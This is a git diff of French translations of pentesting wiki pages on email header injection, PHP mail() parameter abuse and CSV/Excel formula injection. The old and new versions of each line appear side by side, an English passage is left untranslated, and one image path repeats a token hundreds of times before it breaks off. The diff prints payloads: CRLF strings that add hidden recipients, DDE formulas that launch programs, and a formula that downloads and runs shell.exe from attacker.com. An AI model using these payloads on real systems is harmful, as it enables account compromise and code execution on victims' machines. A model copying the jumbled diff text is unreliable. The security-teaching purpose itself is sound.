L'argument sera injecté dans les comptes du destinataire et du destinataire1.
|
||||
### Injecter un argument
|
||||
```
|
||||
From:sender@domain.com%0ATo:attacker@domain.com
|
||||
```
|
||||
Le message sera envoyé au destinataire d'origine ainsi qu'au compte de l'attaquant.
|
||||
Le message sera envoyé au destinataire original et au compte de l'attaquant.
|
||||
|
||||
### Injecter l'argument du sujet
|
||||
### Injecter l'argument Subject
|
||||
```
|
||||
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
|
||||
```
|
||||
Le sujet factice sera ajouté au sujet original et dans certains cas, le remplacera. Cela dépend du comportement du service de messagerie.
|
||||
### Changer le corps du message
|
||||
|
||||
### Modifier le corps du message
|
||||
|
||||
Injectez un saut de ligne à deux lignes, puis écrivez votre message pour modifier le corps du message.
|
||||
Injectez un saut de deux lignes, puis écrivez votre message pour changer le corps du message.
|
||||
```
|
||||
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
||||
```
|
||||
### Exploitation de la fonction mail() de PHP
|
||||
|
||||
The `mail()` function in PHP is commonly used to send emails from a web application. However, if not properly secured, it can be vulnerable to email injection attacks. Email injection occurs when an attacker is able to manipulate the email headers and inject malicious content into the email.
|
||||
|
||||
#### How email injection works
|
||||
|
||||
Email injection attacks typically occur when user-supplied data is directly concatenated into the email headers without proper sanitization or validation. This allows an attacker to insert additional headers or modify existing ones.
|
||||
|
||||
For example, consider the following vulnerable code:
|
||||
|
||||
```php
|
||||
$to = $_POST['email'];
|
||||
$subject = $_POST['subject'];
|
||||
$message = $_POST['message'];
|
||||
|
||||
$headers = "From: " . $_POST['from'] . "\r\n";
|
||||
$headers .= "Reply-To: " . $_POST['reply-to'] . "\r\n";
|
||||
|
||||
mail($to, $subject, $message, $headers);
|
||||
```
|
||||
|
||||
In this code, the values of `$_POST['from']` and `$_POST['reply-to']` are directly concatenated into the `$headers` variable without any validation. An attacker can exploit this by injecting additional headers or modifying existing ones.
|
||||
|
||||
#### Exploiting email injection
|
||||
|
||||
To exploit email injection, an attacker can craft a malicious payload that includes additional headers or modifies existing ones. For example, an attacker can inject a `Bcc` header to secretly send a copy of the email to themselves or inject a `Content-Type` header to execute malicious code when the email is opened.
|
||||
|
||||
Here's an example of an email injection payload:
|
||||
|
||||
```
|
||||
from: attacker@example.com\r\n
|
||||
reply-to: victim@example.com\r\n
|
||||
bcc: attacker@example.com\r\n
|
||||
Content-Type: text/html\r\n
|
||||
|
||||
This is a malicious email.
|
||||
```
|
||||
|
||||
When this payload is injected into the vulnerable code, the email will be sent with the additional headers, allowing the attacker to secretly receive a copy of the email and potentially execute malicious code.
|
||||
|
||||
#### Prevention
|
||||
|
||||
To prevent email injection attacks, it is important to properly sanitize and validate user-supplied data before using it in email headers. Here are some best practices:
|
||||
|
||||
- Use proper input validation and sanitization techniques to ensure that user-supplied data does not contain any malicious content.
|
||||
- Use a secure email library or framework that automatically handles email header injection vulnerabilities.
|
||||
- If concatenating user-supplied data into email headers, make sure to properly sanitize and validate the data. Use functions like `filter_var()` or regular expressions to ensure that the data conforms to the expected format.
|
||||
- Avoid using user-supplied data directly in email headers whenever possible. Instead, use separate variables or constants to store the header values.
|
||||
- Regularly update and patch your PHP installation to ensure that you are using the latest secure version.
|
||||
|
||||
By following these best practices, you can protect your web application from email injection attacks and ensure the security of your email communications.
|
||||
### Exploitation de la fonction mail() PHP
|
||||
```bash
|
||||
# The function has the following definition:
|
||||
|
||||
|
@ -113,15 +64,15 @@ Parameter #4 [ <optional> $additional_parameters ]
|
|||
```
|
||||
#### Le 5ème paramètre ($additional\_parameters)
|
||||
|
||||
Cette section va se baser sur **comment exploiter ce paramètre en supposant que l'attaquant le contrôle**.
|
||||
Cette section est basée sur **comment abuser de ce paramètre en supposant qu'un attaquant le contrôle**.
|
||||
|
||||
Ce paramètre va être ajouté à la ligne de commande que PHP va utiliser pour invoquer le binaire sendmail. Cependant, il sera nettoyé avec la fonction `escapeshellcmd($additional_parameters)`.
|
||||
Ce paramètre sera ajouté à la ligne de commande que PHP utilisera pour invoquer le binaire sendmail. Cependant, il sera assaini avec la fonction `escapeshellcmd($additional_parameters)`.
|
||||
|
||||
Un attaquant peut **injecter des paramètres supplémentaires pour sendmail** dans ce cas.
|
||||
|
||||
#### Différences dans l'implémentation de /usr/sbin/sendmail
|
||||
|
||||
L'interface **sendmail** est **fournie par le logiciel de messagerie MTA** (Sendmail, Postfix, Exim, etc.) installé sur le système. Bien que la **fonctionnalité de base** (comme les paramètres -t -i -f) reste **la même** pour des raisons de compatibilité, **d'autres fonctions et paramètres** varient considérablement en fonction du MTA installé.
|
||||
L'interface **sendmail** est **fournie par le logiciel de messagerie MTA** (Sendmail, Postfix, Exim, etc.) installé sur le système. Bien que la **fonctionnalité de base** (tels que les paramètres -t -i -f) reste la **même** pour des raisons de compatibilité, **d'autres fonctions et paramètres** varient considérablement en fonction du MTA installé.
|
||||
|
||||
Voici quelques exemples de différentes pages de manuel de la commande/interface sendmail :
|
||||
|
||||
|
@ -129,21 +80,21 @@ Voici quelques exemples de différentes pages de manuel de la commande/interface
|
|||
* Postfix MTA : http://www.postfix.org/mailq.1.html
|
||||
* Exim MTA : https://linux.die.net/man/8/eximReferences
|
||||
|
||||
Selon l'**origine du binaire sendmail**, différentes options ont été découvertes pour les exploiter et **exfiltrer des fichiers ou même exécuter des commandes arbitraires**. Découvrez comment dans [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||||
Selon l'**origine du binaire sendmail**, différentes options ont été découvertes pour les abuser et **fuir des fichiers ou même exécuter des commandes arbitraires**. Vérifiez comment dans [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||||
|
||||
## Injection dans le nom de l'e-mail
|
||||
## Injecter dans le nom de l'e-mail
|
||||
|
||||
### Parties ignorées d'un e-mail
|
||||
|
||||
Les symboles : **+, -** et **{}** peuvent parfois être utilisés pour le marquage et ignorés par la plupart des serveurs de messagerie
|
||||
Les symboles : **+, -** et **{}** peuvent être utilisés pour le marquage et sont ignorés par la plupart des serveurs d'e-mails
|
||||
|
||||
* Par exemple : john.doe+intigriti@example.com → john.doe@example.com
|
||||
* Ex. : john.doe+intigriti@example.com → john.doe@example.com
|
||||
|
||||
Les **commentaires entre parenthèses ()** au début ou à la fin seront également ignorés
|
||||
**Les commentaires entre parenthèses ()** au début ou à la fin seront également ignorés
|
||||
|
||||
* Par exemple : john.doe(intigriti)@example.com → john.doe@example.com
|
||||
* Ex. : john.doe(intigriti)@example.com → john.doe@example.com
|
||||
|
||||
### Contournement de la liste blanche
|
||||
### Contournement de liste blanche
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -151,9 +102,9 @@ Les **commentaires entre parenthèses ()** au début ou à la fin seront égalem
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (6) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Adresses IP
|
||||
### IPs
|
||||
|
||||
Vous pouvez également utiliser des adresses IP comme noms de domaine entre crochets :
|
||||
Vous pouvez également utiliser des IPs comme noms de domaine entre crochets :
|
||||
|
||||
* john.doe@\[127.0.0.1]
|
||||
* john.doe@\[IPv6:2001:db8::1]
|
||||
|
@ -166,24 +117,24 @@ Vous pouvez également utiliser des adresses IP comme noms de domaine entre croc
|
|||
|
||||
### XSS
|
||||
|
||||
Certains services comme **github** ou **salesforce vous permettent de créer une **adresse e-mail avec des charges XSS**. Si vous pouvez **utiliser ces fournisseurs pour vous connecter à d'autres services** et que ces services ne **nettoient pas correctement** l'e-mail, vous pourriez provoquer une **XSS**.
|
||||
Certains services comme **github** ou **salesforce permettent** de créer une **adresse e-mail avec des charges utiles XSS**. Si vous pouvez **utiliser ces fournisseurs pour vous connecter à d'autres services** et que ces services **ne désinfectent pas** correctement l'e-mail, vous pourriez provoquer un **XSS**.
|
||||
|
||||
### Prise de contrôle de compte
|
||||
|
||||
Si un **service SSO** vous permet de **créer un compte sans vérifier l'adresse e-mail fournie** (comme **salesforce**) et que vous pouvez ensuite utiliser ce compte pour **vous connecter à un autre service** qui **fait confiance** à salesforce, vous pourriez accéder à n'importe quel compte.\
|
||||
Notez que salesforce indique si l'e-mail fourni a été vérifié ou non, mais l'application devrait prendre en compte cette information.
|
||||
Si un **service SSO** vous permet de **créer un compte sans vérifier l'adresse e-mail donnée** (comme **salesforce**) et que vous pouvez ensuite utiliser ce compte pour **vous connecter à un service différent** qui **fait confiance** à salesforce, vous pourriez accéder à n'importe quel compte.\
|
||||
_Remarquez que salesforce indique si l'e-mail donné a été vérifié ou non, donc l'application devrait prendre en compte cette information._
|
||||
|
||||
## Répondre à
|
||||
## Reply-To
|
||||
|
||||
Vous pouvez envoyer un e-mail en utilisant _**From: company.com**_\*\* \*\* et _**Replay-To: attacker.com**_ et si une **réponse automatique** est envoyée en raison de l'envoi de l'e-mail **à partir** d'une **adresse interne**, l'**attaquant** pourrait être en mesure de **recevoir** cette **réponse**.
|
||||
Vous pouvez envoyer un e-mail en utilisant _**From: company.com**_ et _**Replay-To: attacker.com**_ et si une **réponse automatique** est envoyée parce que l'e-mail a été envoyé **depuis** une **adresse interne**, l'**attaquant** pourrait **recevoir** cette **réponse**.
|
||||
|
||||
## Taux de rebond élevé
|
||||
## Taux de rebond dur
|
||||
|
||||
Certaines applications comme AWS ont un **taux de rebond élevé** (chez AWS, il est de 10%), ce qui signifie que lorsque le service de messagerie est surchargé, le service d'e-mails est bloqué.
|
||||
Certaines applications comme AWS ont un **Taux de rebond dur** (chez AWS, il est de 10 %), qui, lorsqu'il est dépassé, bloque le service d'e-mail.
|
||||
|
||||
Un **rebond dur** est un **e-mail** qui n'a pas pu être livré pour des raisons permanentes. Peut-être que l'**adresse e-mail** est fausse, peut-être que le domaine de l'**e-mail** n'est pas un vrai domaine, ou peut-être que le serveur du destinataire de l'**e-mail** n'accepte pas les **e-mails**), cela signifie que sur un total de 1000 e-mails, si 100 d'entre eux étaient faux ou invalides et ont tous rebondi, **AWS SES** bloquera votre service.
|
||||
Un **rebond dur** est un **e-mail** qui n'a pas pu être livré pour des raisons permanentes. Peut-être que l'**adresse e-mail** est fausse, peut-être que le domaine de l'**e-mail** n'est pas un vrai domaine, ou peut-être que le serveur du destinataire de l'**e-mail** n'accepte pas les **e-mails**), cela signifie que sur un total de 1000 e-mails, si 100 d'entre eux étaient faux ou invalides et ont causé un rebond, **AWS SES** bloquera votre service.
|
||||
|
||||
Ainsi, si vous êtes capable d'**envoyer des e-mails (peut-être des invitations)** depuis l'application web vers n'importe quelle adresse e-mail, vous pourriez provoquer ce blocage en envoyant des centaines d'invitations à des utilisateurs et des domaines inexistants : **Déni de service du service de messagerie**.
|
||||
Ainsi, si vous êtes capable d'**envoyer des e-mails (peut-être des invitations) depuis l'application web à n'importe quelle adresse e-mail, vous pourriez provoquer ce blocage en envoyant des centaines d'invitations à des utilisateurs et domaines inexistants : DoS du service d'e-mail.**
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -194,18 +145,22 @@ Ainsi, si vous êtes capable d'**envoyer des e-mails (peut-être des invitations
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou vous voulez avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement** des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Obtenez un accès aujourd'hui :
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires les **plus avancés**.\
|
||||
Accédez-y dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -2,19 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
||||
Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -24,10 +26,10 @@ Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger p
|
|||
|
||||
### Info
|
||||
|
||||
Si votre **entrée** est **réfléchie** dans des fichiers **CSV** (ou tout autre fichier qui sera probablement ouvert par **Excel**), vous pourrez peut-être mettre des **formules Excel** qui seront **exécutées** lorsque l'utilisateur **ouvre le fichier** ou lorsque l'utilisateur **clique sur un lien** à l'intérieur de la feuille Excel.
|
||||
Si votre **entrée** est **reflétée** à l'intérieur de **fichiers CSV** (ou tout autre fichier qui sera probablement ouvert par **Excel**), vous pourriez être capable d'insérer des **formules Excel** qui seront **exécutées** lorsque l'utilisateur **ouvre le fichier** ou lorsqu'il **clique sur un lien** à l'intérieur de la feuille Excel.
|
||||
|
||||
{% hint style="danger" %}
|
||||
De nos jours, **Excel alertera** (plusieurs fois) l'utilisateur lorsque quelque chose est chargé depuis l'extérieur d'Excel afin de l'empêcher de réaliser des actions malveillantes. Par conséquent, des efforts particuliers en matière d'ingénierie sociale doivent être appliqués à la charge utile finale.
|
||||
De nos jours, **Excel alertera** (à plusieurs reprises) l'**utilisateur lorsqu'un élément est chargé depuis l'extérieur d'Excel** afin de le prévenir d'une action malveillante. Par conséquent, un effort particulier en matière d'ingénierie sociale doit être appliqué au payload final.
|
||||
{% endhint %}
|
||||
|
||||
### [Liste de mots](https://github.com/payloadbox/csv-injection-payloads)
|
||||
|
@ -41,16 +43,16 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
### Hyperlien
|
||||
|
||||
**L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et effectuer des requêtes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).**
|
||||
**L'exemple suivant est très utile pour exfiltrer le contenu de la feuille Excel finale et pour effectuer des requêtes vers des emplacements arbitraires. Cependant, il nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).**
|
||||
|
||||
Exemple tiré de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
Exemple pris de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
Supposons un scénario d'attaque du système de gestion des dossiers d'étudiants d'une école. L'application permet aux enseignants de saisir les détails des étudiants de l'école. L'attaquant a accès à l'application et souhaite que tous les enseignants utilisant l'application soient compromis. L'attaquant tente donc de mener une attaque d'injection CSV via l'application web.\
|
||||
L'attaquant doit voler les détails d'autres étudiants. Pour ce faire, l'attaquant utilise la formule d'hyperlien et l'entre lors de la saisie des détails de l'étudiant.
|
||||
Supposons un scénario d'attaque du système de gestion des dossiers étudiants d'une école. L'application permet aux enseignants de saisir les détails des étudiants de l'école. L'attaquant obtient l'accès à l'application et souhaite que tous les enseignants utilisant l'application soient compromis. Ainsi, l'attaquant tente de réaliser une attaque par injection CSV via l'application web.\
|
||||
L'attaquant a besoin de voler les détails d'autres étudiants. Donc, il utilise la formule Hyperlien et la saisit lors de l'entrée des détails des étudiants.
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
|
||||
|
||||
Lorsque l'enseignant exporte le CSV et clique sur le lien hypertexte, les données sensibles sont envoyées au serveur de l'attaquant.
|
||||
Lorsque l'enseignant exporte le CSV et clique sur l'hyperlien, les données sensibles sont envoyées au serveur de l'attaquant.
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png)
|
||||
|
||||
|
@ -65,14 +67,16 @@ Les détails de l'étudiant sont enregistrés sur le serveur web de l'attaquant.
|
|||
### RCE
|
||||
|
||||
Pour que cet exemple fonctionne, il est **nécessaire d'activer la configuration suivante** :\
|
||||
Fichier → Options → Centre de confiance → Paramètres du Centre de confiance → Contenu externe → Activer le lancement du serveur d'échange de données dynamiques\
|
||||
ou l'utilisation d'une **ancienne version d'Excel**.
|
||||
Fichier → Options → Centre de gestion de la confidentialité → Paramètres du Centre de gestion de la confidentialité → Contenu externe → Activer le lancement du serveur d'échange de données dynamiques\
|
||||
ou l'utilisation d'une **version ancienne d'Excel**.
|
||||
|
||||
La bonne nouvelle est que **cette charge utile est exécutée automatiquement lorsque le fichier est ouvert** (si l'utilisateur accepte les avertissements).
|
||||
La bonne nouvelle est que **cette charge utile est exécutée automatiquement à l'ouverture du fichier** (si l'utilisateur accepte les avertissements).
|
||||
|
||||
Il est possible d'exécuter une calculatrice avec la charge utile suivante **`=cmd|' /C calc'!xxx`**
|
||||
|
||||
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (
|
||||
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
|
||||
|
||||
### Plus
|
||||
```bash
|
||||
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
||||
```
|
||||
|
@ -80,62 +84,62 @@ Il est possible d'exécuter une calculatrice avec la charge utile suivante **`=c
|
|||
|
||||
**LibreOffice Calc**
|
